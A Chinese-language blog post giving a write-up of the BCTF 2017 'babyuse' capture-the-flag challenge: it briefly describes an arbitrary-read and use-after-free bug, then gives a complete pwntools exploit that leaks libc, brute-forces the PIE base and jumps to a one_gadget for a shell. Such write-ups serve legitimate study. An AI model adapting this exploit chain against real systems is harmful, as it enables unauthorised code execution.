BCTF 2017 babyuse

看到这个题目的名字,我就想起了0CTF被babyheap支配的恐惧233。

在sub_12CE函数中存在两个漏洞,一个是任意地址读,一个是UAF漏洞,所以我的思路是先泄露全局变量stdin中的值,从而计算出libc基址,然后触发UAF漏洞,跳到libc中one gadget的地址,直接起来一个shell。

由于程序开了PIE,所以需要爆破程序基址,32位程序也挺容易爆破的。

 

from pwn import *

DEBUG = 0

one_gadget = 0x3ac69

def buy(size, name):
    p.recvuntil('Exit\n')
    p.sendline('1')
    p.recvuntil('QBZ95\n')
    p.sendline('1')
    p.recvline()
    p.sendline(str(size))
    p.recvline()
    p.sendline(name)

def select(no):
    p.recvuntil('Exit\n')
    p.sendline('2')
    p.recvline()
    p.sendline(str(no))
    
def rename(no, size, name):
    p.recvuntil('Exit\n')
    p.sendline('4')
    p.recvline()
    p.sendline(str(no))
    p.recvline()
    p.sendline(str(size))
    p.recvline()
    p.sendline(name)

def use(choice):
    p.recvuntil('Exit\n')
    p.sendline('5')
    p.recvuntil('menu\n')
    p.sendline(str(choice))

def drop(no):
    p.recvuntil('Exit\n')
    p.sendline('6')
    p.recvline()
    p.sendline(str(no))
    
def leak(addr):
    rename(0, 15, p32(0xdeadbeef) + p32(addr))
    p.recvuntil('Exit\n')
    p.sendline('5')
    p.recvuntil('Exit\n')
    leak_addr = u32(p.recvline()[11:15])
    p.recvuntil('menu\n')
    p.sendline('4')
    rename(0, 15, p32(0xdeadbeef))
    return leak_addr

main_base = 0x56556413

while True:
    try:
        if DEBUG == 1:
            p = process('./babyuse')
            libc = ELF('./libc.so.6')
        else:
            p = remote('202.112.51.247', 3456)
            libc = ELF('./libc.so')
            p.recvuntil('Token:')
            p.sendline('your_team_token')

        buy(15, 'A' * 15)
        buy(15, 'B' * 15)
        select(1)
        drop(1)

        leak_addr = leak(main_base + 0x2c6d)

        libc_base = leak_addr - libc.symbols['_IO_2_1_stdin_']
        goal_addr = libc_base + one_gadget

        rename(0, 15, p32(0xdeadbeef) + p32(main_base + 0x2c79))
        p.recvuntil('Exit\n')
        p.sendline('5')
        guns_1 = u32(p.recvline()[11:15])
        p.recvuntil('menu\n')
        p.sendline('4')

        rename(0, 15, p32(0xaaaaaaaa) + p32(main_base + 0x2c6d))
        rename(0, 15, p32(guns_1 + 24 + 24 + 8) + p32(main_base + 0x2c6d) + p32(goal_addr))

        use(1)
    except:
        p.close()
        pass
    else:
        p.sendline('cat flag')
        p.interactive()
        break

 

babyuse下载

 

posted @ 2017-04-17 18:17  1oner  阅读(811)  评论(0编辑  收藏  举报